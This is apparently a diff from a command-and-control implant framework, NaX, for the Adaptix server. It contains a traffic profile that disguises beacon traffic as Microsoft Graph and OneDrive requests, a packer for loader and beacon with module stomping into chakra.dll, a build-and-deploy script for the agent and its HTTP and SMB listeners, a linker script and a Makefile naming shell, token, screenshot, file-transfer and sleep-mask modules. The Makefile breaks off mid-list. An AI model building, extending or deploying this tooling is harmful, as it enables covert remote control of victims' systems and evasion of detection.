||||
"$top": "25",
|
||||
"api-version": "2024-01-01"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "application/json; odata.metadata=minimal; odata.streaming=true; IEEE754Compatible=false; charset=utf-8",
|
||||
"Server": "Microsoft-IIS/10.0",
|
||||
"X-Powered-By": "ASP.NET",
|
||||
"OData-Version": "4.0",
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
"Cache-Control": "private"
|
||||
},
|
||||
"output": {
|
||||
"format": "base64",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\",\"outOfOfficeSettings\":{\"message\":\"\",\"isOutOfOffice\":false},\"statusMessage\":null,\"_telemetry\":\"",
|
||||
"append": "\",\"_etag\":\"W/\\\"datetime'2024-12-01T00%3A00%3A00Z'\\\"\"}",
|
||||
"empty_response": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\"}"
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
"post": {
|
||||
"uri": [
|
||||
"/nax/v1.0/me/drive/items/root:/Documents/sync.tmp:/createUploadSession",
|
||||
"/nax/v1.0/me/drive/items/root:/Documents/telemetry.dat:/content",
|
||||
"/nax/v1.0/me/sendMail",
|
||||
"/nax/beta/me/todo/lists/tasks"
|
||||
],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Accept": "application/json",
|
||||
"Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub",
|
||||
"X-AnchorMailbox": "user@contoso.com",
|
||||
"client-request-id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
|
||||
},
|
||||
"metadata": {
|
||||
"format": "hex",
|
||||
"mask": false,
|
||||
"placement": "cookie",
|
||||
"name": "X-OD-SessionId",
|
||||
"prepend": "",
|
||||
"append": ""
|
||||
},
|
||||
"output": {
|
||||
"format": "base64url",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"@odata.type\":\"#microsoft.graph.uploadSession\",\"uploadUrl\":\"https://contoso-my.sharepoint.com/personal/user/_api/v2.0/drive/items/root:/sync.tmp:/uploadSession?guid=",
|
||||
"append": "\",\"expirationDateTime\":\"2024-12-02T00:00:00.000Z\",\"nextExpectedRanges\":[\"0-\"]}"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Server": "Microsoft-IIS/10.0",
|
||||
"X-Powered-By": "ASP.NET",
|
||||
"X-Content-Type-Options": "nosniff"
|
||||
},
|
||||
"output": {
|
||||
"format": "base64",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"_sync\":\"",
|
||||
"append": "\",\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\",\"file\":{\"mimeType\":\"application/octet-stream\"}}",
|
||||
"empty_response": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\"}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
Executable
+219
@@ -0,0 +1,219 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Pack loader + beacon + pdata + xdata into nax.bin with NaxHeader v2."""
|
||||
|
||||
import argparse
|
||||
import struct
|
||||
import sys
|
||||
import os
|
||||
|
||||
|
||||
NAX_HDR_MAGIC = 0x4E415832 # "NAX2"
|
||||
NAX_HDR_SIZE = 160 # fixed header size
|
||||
NAX_HDR_DLL_MAX = 64 # max WCHAR chars for DLL name
|
||||
|
||||
FLAG_MODULE_STOMP = 0x0001
|
||||
FLAG_STOMP_PDATA = 0x0002
|
||||
|
||||
|
||||
def read_bin(path):
|
||||
if not path or not os.path.exists(path):
|
||||
return b""
|
||||
with open(path, "rb") as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
def strip_loader_padding(loader):
|
||||
"""Strip page-padding added by Stardust's build.py.
|
||||
|
||||
build.py pads the extracted shellcode to 0x1000-byte page boundaries,
|
||||
but StRipEnd() returns the code end (not the file end). Strip the
|
||||
padding and re-pad to 16-byte alignment (NASM default section alignment)
|
||||
so appended data lands where StRipEnd() points.
|
||||
|
||||
NaX loaders extracted via objcopy have no trailing padding - this is
|
||||
a no-op for them.
|
||||
"""
|
||||
stripped = loader.rstrip(b'\x00')
|
||||
padding = (16 - (len(stripped) % 16)) % 16
|
||||
return stripped + b'\x00' * padding
|
||||
|
||||
|
||||
def read_text_rva(path):
|
||||
if not path or not os.path.exists(path):
|
||||
return 0
|
||||
with open(path, "r") as f:
|
||||
val = f.read().strip()
|
||||
if not val:
|
||||
return 0
|
||||
return int(val, 16)
|
||||
|
||||
|
||||
def normalize_pdata(pdata, text_rva, xdata_rva):
|
||||
"""Convert RUNTIME_FUNCTION RVAs to 0-based offsets.
|
||||
|
||||
BeginAddress/EndAddress become offsets from .text start.
|
||||
UnwindData becomes offset from .xdata start.
|
||||
The loader adds target DLL RVAs at runtime.
|
||||
"""
|
||||
if not pdata or len(pdata) < 12:
|
||||
return pdata
|
||||
out = bytearray(pdata)
|
||||
entry_count = len(out) // 12
|
||||
for i in range(entry_count):
|
||||
off = i * 12
|
||||
begin, end, unwind = struct.unpack_from("<III", out, off)
|
||||
begin -= text_rva
|
||||
end -= text_rva
|
||||
unwind -= xdata_rva
|
||||
struct.pack_into("<III", out, off, begin & 0xFFFFFFFF, end & 0xFFFFFFFF, unwind & 0xFFFFFFFF)
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def build_entry_unwind():
|
||||
"""Build RUNTIME_FUNCTION + UNWIND_INFO for the Entry.asm stub.
|
||||
|
||||
Entry.asm prolog (22 bytes, 0x00–0x15):
|
||||
0x00 push rsi ; UWOP_PUSH_NONVOL RSI(6)
|
||||
0x01 mov rsi, rsp ; UWOP_SET_FPREG
|
||||
0x04 and rsp, -16 ; (implicit, frame register handles it)
|
||||
0x08 sub rsp, 0x20 ; UWOP_ALLOC_SMALL (0x20/8-1 = 3)
|
||||
0x0C call NaxMain
|
||||
0x11 mov rsp, rsi
|
||||
0x14 pop rsi
|
||||
0x15 ret
|
||||
|
||||
UNWIND_INFO (8 bytes, DWORD-aligned):
|
||||
Version=1, Flags=0, SizeOfProlog=0x0C, CountOfCodes=3
|
||||
FrameRegister=RSI(6), FrameOffset=0
|
||||
UnwindCode[0]: offset=0x08, op=UWOP_ALLOC_SMALL(2), info=3 (0x20 bytes)
|
||||
UnwindCode[1]: offset=0x01, op=UWOP_SET_FPREG(3), info=0
|
||||
UnwindCode[2]: offset=0x00, op=UWOP_PUSH_NONVOL(0), info=RSI(6)
|
||||
+2 bytes padding to DWORD align (CountOfCodes=3 → 4 slots)
|
||||
|
||||
RUNTIME_FUNCTION (12 bytes, 0-based after normalization):
|
||||
BeginAddress=0, EndAddress=0x16, UnwindData=offset in xdata
|
||||
"""
|
||||
UWOP_PUSH_NONVOL = 0
|
||||
UWOP_ALLOC_SMALL = 2
|
||||
UWOP_SET_FPREG = 3
|
||||
RSI = 6
|
||||
|
||||
unwind_info = struct.pack("<BBBB",
|
||||
0x01, # Version=1, Flags=0
|
||||
0x0C, # SizeOfProlog
|
||||
3, # CountOfCodes
|
||||
(0 << 4) | RSI, # FrameRegister=RSI, FrameOffset=0
|
||||
)
|
||||
unwind_info += struct.pack("<BB", 0x08, (3 << 4) | UWOP_ALLOC_SMALL)
|
||||
unwind_info += struct.pack("<BB", 0x01, (0 << 4) | UWOP_SET_FPREG)
|
||||
unwind_info += struct.pack("<BB", 0x00, (RSI << 4) | UWOP_PUSH_NONVOL)
|
||||
unwind_info += b"\x00\x00" # pad to DWORD alignment
|
||||
|
||||
runtime_func = struct.pack("<III", 0x0000, 0x0016, 0) # UnwindData filled later
|
||||
|
||||
return runtime_func, unwind_info
|
||||
|
||||
|
||||
def encode_dll_name(name):
|
||||
wchars = name.encode("utf-16-le")
|
||||
wchars += b"\x00\x00" # NUL terminator
|
||||
buf = bytearray(NAX_HDR_DLL_MAX * 2) # 128 bytes
|
||||
if len(wchars) > len(buf):
|
||||
print(f"ERROR: DLL name too long ({len(name)} chars, max {NAX_HDR_DLL_MAX - 1})", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
buf[:len(wchars)] = wchars
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def build_header(beacon_size, pdata_size, xdata_size, text_rva, flags, dll_name):
|
||||
hdr = struct.pack("<IIIIII",
|
||||
NAX_HDR_MAGIC,
|
||||
beacon_size,
|
||||
pdata_size,
|
||||
xdata_size,
|
||||
text_rva,
|
||||
flags,
|
||||
)
|
||||
hdr += encode_dll_name(dll_name)
|
||||
hdr += b"\x00" * 8 # reserved
|
||||
assert len(hdr) == NAX_HDR_SIZE, f"Header size mismatch: {len(hdr)} != {NAX_HDR_SIZE}"
|
||||
return hdr
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Pack NaX binary (loader + header + beacon + pdata + xdata)")
|
||||
parser.add_argument("--loader", required=True, help="Path to loader binary")
|
||||
parser.add_argument("--beacon", required=True, help="Path to beacon binary")
|
||||
parser.add_argument("--pdata", default="", help="Path to .pdata binary")
|
||||
parser.add_argument("--xdata", default="", help="Path to .xdata binary")
|
||||
parser.add_argument("--text-rva", default="", help="Path to text_rva file (hex string)")
|
||||
parser.add_argument("--stomp-dll", default="chakra.dll", help="Sacrificial DLL name")
|
||||
parser.add_argument("--module-stomp", action="store_true", help="Enable module stomping")
|
||||
parser.add_argument("--stomp-pdata", action="store_true", help="Enable .pdata unwind stomping")
|
||||
parser.add_argument("--output", required=True, help="Output path")
|
||||
parser.add_argument("--legacy", action="store_true", help="Use legacy v1 format (4-byte header)")
|
||||
args = parser.parse_args()
|
||||
|
||||
loader = strip_loader_padding(read_bin(args.loader))
|
||||
beacon = read_bin(args.beacon)
|
||||
|
||||
if not loader:
|
||||
print("ERROR: loader binary is empty", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
if not beacon:
|
||||
print("ERROR: beacon binary is empty", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
if args.legacy:
|
||||
hdr = struct.pack("<I", len(beacon))
|
||||
payload = loader + hdr + beacon
|
||||
else:
|
||||
pdata = read_bin(args.pdata)
|
||||
xdata = read_bin(args.xdata)
|
||||
text_rva = read_text_rva(args.text_rva)
|
||||
|
||||
flags = 0
|
||||
if args.module_stomp:
|
||||
flags |= FLAG_MODULE_STOMP
|
||||
if args.stomp_pdata:
|
||||
flags |= FLAG_STOMP_PDATA
|
||||
|
||||
if pdata and text_rva:
|
||||
align4 = lambda x: (x + 3) & ~3
|
||||
xdata_rva = text_rva + align4(len(beacon)) + align4(len(pdata))
|
||||
pdata = normalize_pdata(pdata, text_rva, xdata_rva)
|
||||
|
||||
entry_rf, entry_ui = build_entry_unwind()
|
||||
ui_size = len(entry_ui)
|
||||
pdata_arr = bytearray(pdata)
|
||||
for i in range(len(pdata_arr) // 12):
|
||||
off = i * 12 + 8
|
||||
u = struct.unpack_from("<I", pdata_arr, off)[0]
|
||||
struct.pack_into("<I", pdata_arr, off, u + ui_size)
|
||||
pdata = bytes(entry_rf) + bytes(pdata_arr)
|
||||
xdata = bytes(entry_ui) + xdata
|
||||
|
||||
hdr = build_header(len(beacon), len(pdata), len(xdata), text_rva, flags, args.stomp_dll)
|
||||
payload = loader + hdr + beacon + pdata + xdata
|
||||
|
||||
with open(args.output, "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
print(f"[+] packed {args.output} ({len(payload)} bytes)")
|
||||
print(f" loader {len(loader)} bytes")
|
||||
if args.legacy:
|
||||
print(f" hdr 4 bytes (v1, beacon_size={len(beacon)})")
|
||||
print(f" beacon {len(beacon)} bytes")
|
||||
else:
|
||||
pdata_raw = read_bin(args.pdata)
|
||||
xdata_raw = read_bin(args.xdata)
|
||||
print(f" hdr {NAX_HDR_SIZE} bytes (v2, flags=0x{flags:04x}, dll={args.stomp_dll})")
|
||||
print(f" beacon {len(beacon)} bytes")
|
||||
if pdata_raw:
|
||||
print(f" pdata {len(pdata_raw)} bytes ({len(pdata_raw)//12} entries)")
|
||||
if xdata_raw:
|
||||
print(f" xdata {len(xdata_raw)} bytes")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+339
@@ -0,0 +1,339 @@
|
||||
#!/bin/bash
|
||||
# setup_nax.sh - Build and deploy NaX extenders to an Adaptix Server directory.
|
||||
#
|
||||
# Builds the 4 Go server plugins (agent, HTTP listener, SMB listener, service),
|
||||
# deploys them to Server/extenders/, writes nax_root.conf so the agent plugin
|
||||
# can find the NaX source tree at runtime, and registers them in profile.yaml.
|
||||
#
|
||||
# Usage:
|
||||
# ./setup_nax.sh --server /path/to/Server
|
||||
# ./setup_nax.sh --server /path/to/Server --action agent
|
||||
# ./setup_nax.sh --server /path/to/Server --action prereqs
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
error_exit() { echo -e "${RED}[ERROR]${NC} $1"; exit 1; }
|
||||
info_msg() { echo -e "${GREEN}[+]${NC} $1"; }
|
||||
warning_msg() { echo -e "${YELLOW}[!]${NC} $1"; }
|
||||
step_msg() { echo -e "${CYAN}[*]${NC} $1"; }
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
NAX_ROOT="$SCRIPT_DIR"
|
||||
SERVER_DIR=""
|
||||
ACTION="all"
|
||||
GO_BIN=""
|
||||
GOEXPERIMENT=""
|
||||
|
||||
## ========= [ argument parsing ] =========
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--server)
|
||||
SERVER_DIR="$(realpath "$2" 2>/dev/null || echo "$2")"
|
||||
shift 2
|
||||
;;
|
||||
--action)
|
||||
ACTION="$2"
|
||||
shift 2
|
||||
;;
|
||||
-h|--help)
|
||||
ACTION="help"
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
error_exit "Unknown parameter: $1\nRun $0 --help for usage."
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
## ========= [ usage ] =========
|
||||
|
||||
if [ "$ACTION" = "help" ] || [ -z "$SERVER_DIR" ]; then
|
||||
cat <<EOF
|
||||
Usage: $0 --server <Server_directory> [--action <action>]
|
||||
|
||||
Required:
|
||||
--server <dir> Path to Adaptix Server directory
|
||||
(contains adaptixserver binary, extenders/, profile.yaml)
|
||||
|
||||
Optional:
|
||||
--action <action> Action to perform (default: all)
|
||||
|
||||
Actions:
|
||||
all Check prereqs + build all plugins + deploy + register
|
||||
plugins Build and deploy all 4 plugins (skip prereq check)
|
||||
agent Build and deploy agent plugin only
|
||||
listener-http Build and deploy HTTP listener only
|
||||
listener-smb Build and deploy SMB listener only
|
||||
service Build and deploy nax_store service only
|
||||
prereqs Check build prerequisites only
|
||||
|
||||
Examples:
|
||||
$0 --server /opt/Server
|
||||
$0 --server ../Server --action agent
|
||||
$0 --server /opt/Server --action prereqs
|
||||
EOF
|
||||
[ "$ACTION" = "help" ] && exit 0
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## ========= [ validate server directory ] =========
|
||||
|
||||
if [ ! -d "$SERVER_DIR" ]; then
|
||||
error_exit "Server directory does not exist: $SERVER_DIR"
|
||||
fi
|
||||
|
||||
if [ ! -f "$SERVER_DIR/adaptixserver" ] && [ ! -f "$SERVER_DIR/profile.yaml" ]; then
|
||||
error_exit "Not an Adaptix Server directory (no adaptixserver or profile.yaml): $SERVER_DIR"
|
||||
fi
|
||||
|
||||
EXTENDERS_DIR="$SERVER_DIR/extenders"
|
||||
|
||||
## ========= [ prerequisites check ] =========
|
||||
|
||||
check_prereqs() {
|
||||
step_msg "Checking build prerequisites..."
|
||||
local missing=()
|
||||
|
||||
command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1 || missing+=("mingw-w64")
|
||||
command -v x86_64-w64-mingw32-g++ >/dev/null 2>&1 || missing+=("mingw-w64-g++")
|
||||
command -v nasm >/dev/null 2>&1 || missing+=("nasm")
|
||||
command -v python3 >/dev/null 2>&1 || missing+=("python3")
|
||||
command -v objcopy >/dev/null 2>&1 || missing+=("binutils (objcopy)")
|
||||
command -v strings >/dev/null 2>&1 || missing+=("binutils (strings)")
|
||||
|
||||
if [ -x /usr/local/go/bin/go ]; then
|
||||
GO_BIN="/usr/local/go/bin/go"
|
||||
elif command -v go >/dev/null 2>&1; then
|
||||
GO_BIN="$(command -v go)"
|
||||
else
|
||||
missing+=("go")
|
||||
fi
|
||||
|
||||
if [ ${#missing[@]} -gt 0 ]; then
|
||||
error_exit "Missing prerequisites: ${missing[*]}\n Install: sudo apt install mingw-w64 nasm binutils python3 golang-go"
|
||||
fi
|
||||
|
||||
info_msg "All prerequisites found"
|
||||
info_msg " Go: $($GO_BIN version 2>/dev/null | head -1)"
|
||||
info_msg " MinGW: $(x86_64-w64-mingw32-gcc --version 2>/dev/null | head -1)"
|
||||
info_msg " NASM: $(nasm --version 2>/dev/null | head -1)"
|
||||
}
|
||||
|
||||
## ========= [ GOEXPERIMENT auto-detection ] =========
|
||||
|
||||
detect_goexperiment() {
|
||||
local server_bin="$SERVER_DIR/adaptixserver"
|
||||
if [ ! -f "$server_bin" ]; then
|
||||
warning_msg "adaptixserver binary not found - using default GOEXPERIMENT"
|
||||
GOEXPERIMENT="jsonv2,greenteagc"
|
||||
return
|
||||
fi
|
||||
|
||||
local version_line
|
||||
version_line=$(strings "$server_bin" 2>/dev/null | grep -m1 '^go[0-9].*X:')
|
||||
|
||||
if [ -z "$version_line" ]; then
|
||||
warning_msg "Could not detect GOEXPERIMENT from adaptixserver - using default"
|
||||
GOEXPERIMENT="jsonv2,greenteagc"
|
||||
return
|
||||
fi
|
||||
|
||||
GOEXPERIMENT="${version_line##*X:}"
|
||||
info_msg "Detected GOEXPERIMENT=$GOEXPERIMENT (from $(basename "$server_bin"))"
|
||||
}
|
||||
|
||||
## ========= [ find Go binary ] =========
|
||||
|
||||
find_go() {
|
||||
if [ -n "$GO_BIN" ]; then
|
||||
return
|
||||
fi
|
||||
if [ -x /usr/local/go/bin/go ]; then
|
||||
GO_BIN="/usr/local/go/bin/go"
|
||||
elif command -v go >/dev/null 2>&1; then
|
||||
GO_BIN="$(command -v go)"
|
||||
else
|
||||
error_exit "Go compiler not found. Install Go and re-run."
|
||||
fi
|
||||
}
|
||||
|
||||
## ========= [ build + deploy functions ] =========
|
||||
|
||||
build_deploy_agent() {
|
||||
local dest="$EXTENDERS_DIR/agent_nonameax"
|
||||
mkdir -p "$dest" || error_exit "Failed to create $dest"
|
||||
|
||||
step_msg "Building agent_nonameax plugin..."
|
||||
make -C "$NAX_ROOT/src_server" agent \
|
||||
SERVER_DIR="$SERVER_DIR" \
|
||||
GOEXPERIMENT="$GOEXPERIMENT" \
|
||||
GO="$GO_BIN" \
|
||||
|| error_exit "Failed to build agent plugin"
|
||||
|
||||
echo "$NAX_ROOT" > "$dest/nax_root.conf"
|
||||
cp -r "$NAX_ROOT/src_server/agent_nonameax/pe_templates" "$dest/pe_templates" 2>/dev/null || true
|
||||
info_msg "Agent deployed to $dest"
|
||||
info_msg " nax_root.conf -> $NAX_ROOT"
|
||||
}
|
||||
|
||||
build_deploy_listener_http() {
|
||||
local dest="$EXTENDERS_DIR/listener_nonameax_http"
|
||||
mkdir -p "$dest" || error_exit "Failed to create $dest"
|
||||
|
||||
step_msg "Building listener_nonameax_http plugin..."
|
||||
make -C "$NAX_ROOT/src_server" listener \
|
||||
SERVER_DIR="$SERVER_DIR" \
|
||||
GOEXPERIMENT="$GOEXPERIMENT" \
|
||||
GO="$GO_BIN" \
|
||||
|| error_exit "Failed to build HTTP listener plugin"
|
||||
|
||||
info_msg "HTTP listener deployed to $dest"
|
||||
}
|
||||
|
||||
build_deploy_listener_smb() {
|
||||
local dest="$EXTENDERS_DIR/listener_nonameax_smb"
|
||||
mkdir -p "$dest" || error_exit "Failed to create $dest"
|
||||
|
||||
step_msg "Building listener_nonameax_smb plugin..."
|
||||
make -C "$NAX_ROOT/src_server" listener-smb \
|
||||
SERVER_DIR="$SERVER_DIR" \
|
||||
GOEXPERIMENT="$GOEXPERIMENT" \
|
||||
GO="$GO_BIN" \
|
||||
|| error_exit "Failed to build SMB listener plugin"
|
||||
|
||||
info_msg "SMB listener deployed to $dest"
|
||||
}
|
||||
|
||||
build_deploy_service() {
|
||||
local dest="$EXTENDERS_DIR/service_nax_store"
|
||||
mkdir -p "$dest" || error_exit "Failed to create $dest"
|
||||
|
||||
step_msg "Building nax_store service plugin..."
|
||||
make -C "$NAX_ROOT/src_server" service \
|
||||
SERVER_DIR="$SERVER_DIR" \
|
||||
GOEXPERIMENT="$GOEXPERIMENT" \
|
||||
GO="$GO_BIN" \
|
||||
|| error_exit "Failed to build service plugin"
|
||||
|
||||
info_msg "Service deployed to $dest"
|
||||
}
|
||||
|
||||
build_deploy_all() {
|
||||
build_deploy_agent
|
||||
build_deploy_listener_http
|
||||
build_deploy_listener_smb
|
||||
build_deploy_service
|
||||
}
|
||||
|
||||
## ========= [ profile.yaml registration ] =========
|
||||
|
||||
add_to_profile() {
|
||||
local yaml="$SERVER_DIR/profile.yaml"
|
||||
if [ ! -f "$yaml" ]; then
|
||||
warning_msg "profile.yaml not found - skipping auto-registration"
|
||||
return
|
||||
fi
|
||||
|
||||
local entries=(
|
||||
"extenders/agent_nonameax/config.yaml"
|
||||
"extenders/listener_nonameax_http/config.yaml"
|
||||
"extenders/listener_nonameax_smb/config.yaml"
|
||||
"extenders/service_nax_store/config.yaml"
|
||||
)
|
||||
local changed=false
|
||||
|
||||
for entry in "${entries[@]}"; do
|
||||
if ! grep -qF "$entry" "$yaml"; then
|
||||
sed -i "/^ extenders:/a\\ - \"$entry\"" "$yaml"
|
||||
info_msg "Registered $entry in profile.yaml"
|
||||
changed=true
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$changed" = false ]; then
|
||||
info_msg "NaX extenders already registered in profile.yaml"
|
||||
fi
|
||||
}
|
||||
|
||||
## ========= [ summary ] =========
|
||||
|
||||
print_summary() {
|
||||
echo ""
|
||||
info_msg "Done!"
|
||||
echo "================================================================"
|
||||
echo " Action: $ACTION"
|
||||
echo " NaX Source: $NAX_ROOT"
|
||||
echo " Server: $SERVER_DIR"
|
||||
echo " GOEXPERIMENT: ${GOEXPERIMENT:-n/a}"
|
||||
echo " Go: ${GO_BIN:-n/a}"
|
||||
echo ""
|
||||
echo " Deployed extenders:"
|
||||
[ -f "$EXTENDERS_DIR/agent_nonameax/agent_nonameax.so" ] && echo " - agent_nonameax"
|
||||
[ -f "$EXTENDERS_DIR/listener_nonameax_http/listener_nonameax_http.so" ] && echo " - listener_nonameax_http"
|
||||
[ -f "$EXTENDERS_DIR/listener_nonameax_smb/listener_nonameax_smb.so" ] && echo " - listener_nonameax_smb"
|
||||
[ -f "$EXTENDERS_DIR/service_nax_store/nax_store.so" ] && echo " - service_nax_store"
|
||||
echo ""
|
||||
echo " Restart adaptixserver to load the new extenders."
|
||||
echo "================================================================"
|
||||
}
|
||||
|
||||
## ========= [ main dispatch ] =========
|
||||
|
||||
case $ACTION in
|
||||
all)
|
||||
check_prereqs
|
||||
detect_goexperiment
|
||||
step_msg "Full install: all 4 plugins"
|
||||
build_deploy_all
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
plugins)
|
||||
find_go
|
||||
detect_goexperiment
|
||||
step_msg "Building all 4 plugins (skipping prereq check)"
|
||||
build_deploy_all
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
agent)
|
||||
find_go
|
||||
detect_goexperiment
|
||||
build_deploy_agent
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
listener-http)
|
||||
find_go
|
||||
detect_goexperiment
|
||||
build_deploy_listener_http
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
listener-smb)
|
||||
find_go
|
||||
detect_goexperiment
|
||||
build_deploy_listener_smb
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
service)
|
||||
find_go
|
||||
detect_goexperiment
|
||||
build_deploy_service
|
||||
add_to_profile
|
||||
print_summary
|
||||
;;
|
||||
prereqs)
|
||||
check_prereqs
|
||||
detect_goexperiment
|
||||
;;
|
||||
*)
|
||||
error_exit "Unknown action: $ACTION\nRun $0 --help for usage."
|
||||
;;
|
||||
esac
|
||||
@@ -0,0 +1,40 @@
|
||||
/* beacon/Linker.ld
|
||||
* Pack code and data into .text, unwind metadata into .pdata/.xdata.
|
||||
*
|
||||
* .text ordering (CRITICAL - do NOT reorder):
|
||||
* .text$A - ASM entry stubs (Start, StartPtr)
|
||||
* .text$B* - FUNC-annotated C code + ASM helpers (___chkstk_ms)
|
||||
* .rdata* - compile-time string literals and GCC ident strings
|
||||
* .data* - GCC-generated WCHAR initializer copies for local arrays
|
||||
* .text$* - orphan functions: static helpers, GCC .constprop clones,
|
||||
* and import library stubs that don't carry the FUNC macro.
|
||||
* EXCLUDE_FILE keeps Entry.obj's .text$C out of this catch-all.
|
||||
* .text - bare .text sections (import thunks from -lwinhttp etc.)
|
||||
* .text$C - EndPtr marker (MUST be last - stomp tag lives right after it)
|
||||
*
|
||||
* .pdata / .xdata:
|
||||
* Extracted separately for module-stomp unwind fixup.
|
||||
* .pdata$func → RUNTIME_FUNCTION entries (12 bytes each, sorted by addr)
|
||||
* .xdata$func → UNWIND_INFO + UNWIND_CODE data
|
||||
*/
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text$A)
|
||||
*(.text$B*)
|
||||
*(.rdata*)
|
||||
*(.data*)
|
||||
*(EXCLUDE_FILE(*Entry.obj) .text$*)
|
||||
*(.text)
|
||||
*(.text$C)
|
||||
}
|
||||
.pdata ALIGN(4) :
|
||||
{
|
||||
*(.pdata*)
|
||||
}
|
||||
.xdata ALIGN(4) :
|
||||
{
|
||||
*(.xdata*)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
# beacon/Makefile - cross-compile PIC beacon → beacon/build/beacon.x64.bin
|
||||
#
|
||||
# Source layout:
|
||||
# src/Main.c - thin heartbeat loop
|
||||
# src/Core/{Bootstrap,Ldr,Config,Crypto,Packer}.c
|
||||
# src/Transport/{Http,Smb}.c - HTTP (active) + SMB stub (Phase 7)
|
||||
# src/Commands/{Dispatch,Whoami,Sleep}.c
|
||||
#
|
||||
# To build with SMB transport: make NAX_TRANSPORT_PROFILE=1
|
||||
|
||||
CC := x86_64-w64-mingw32-gcc
|
||||
NASM := nasm
|
||||
OBJCOPY := objcopy
|
||||
|
||||
CFLAGS := -Os -nostdlib -fPIC -fvisibility=hidden \
|
||||
-ffunction-sections -fno-omit-frame-pointer \
|
||||
-falign-functions=1 -mno-sse -masm=intel \
|
||||
-fno-exceptions -fno-builtin \
|
||||
-fno-stack-check \
|
||||
-MMD -MP \
|
||||
-w \
|
||||
-Iinclude
|
||||
|
||||
ifdef NAX_TRANSPORT_PROFILE
|
||||
CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
|
||||
endif
|
||||
|
||||
NAX_EXEC_MODE ?= 1
|
||||
|
||||
# Library linking - SMB variant doesn't need winhttp or iphlpapi
|
||||
ifeq ($(NAX_TRANSPORT_PROFILE),1)
|
||||
LINK_LIBS := -lbcrypt
|
||||
else
|
||||
LINK_LIBS := -lwinhttp -lbcrypt -liphlpapi
|
||||
endif
|
||||
|
||||
# Transport-specific build directories - HTTP and SMB objects coexist
|
||||
ifeq ($(NAX_TRANSPORT_PROFILE),1)
|
||||
BUILD := build/smb
|
||||
else
|
||||
BUILD := build/http
|
||||
endif
|
||||
OUT_EXE := $(BUILD)/beacon.x64.exe
|
||||
OUT_BIN := $(BUILD)/beacon.x64.bin
|
||||
|
||||
ASM_OBJ := $(BUILD)/Entry.obj
|
||||
|
||||
# VPATH: Make searches these directories for source files by flat name.
|
||||
# Ensures Bootstrap.c is found in src/Core/, Http.c in src/Transport/, etc.
|
||||
VPATH := src:src/Core:src/Transport:src/Commands:src/Bof
|
||||
|
||||
# Core sources (both variants)
|
||||
C_SRCS_CORE := Main.c \
|
||||
Bootstrap.c Ldr.c Config.c Crypto.c Packer.c Cfg.c Helpers.c \
|
||||
Dispatch.c Whoami.c Sleep.c Core.c Bof.c \
|
||||
Screenshot.c Download.c Downloader.c Upload.c MemSave.c Ps.c \
|
||||
Loader.c Jobs.c BofStomp.c Sleepmask.c DllNotify.c Shell.c \
|
||||
Token.c
|
||||
|
||||
# Transport-specific sources
|
||||
ifeq ($(NAX_TRANSPORT_PROFILE),1)
|
||||
# SMB variant: pipe transport + pivot (for chained pivots)
|
||||
C_SRCS_TRANSPORT := Smb.c Pivot.c Tunnel.c
|
||||
else
|
||||
# HTTP variant: full HTTP + profile + pivot parent-side
|
||||
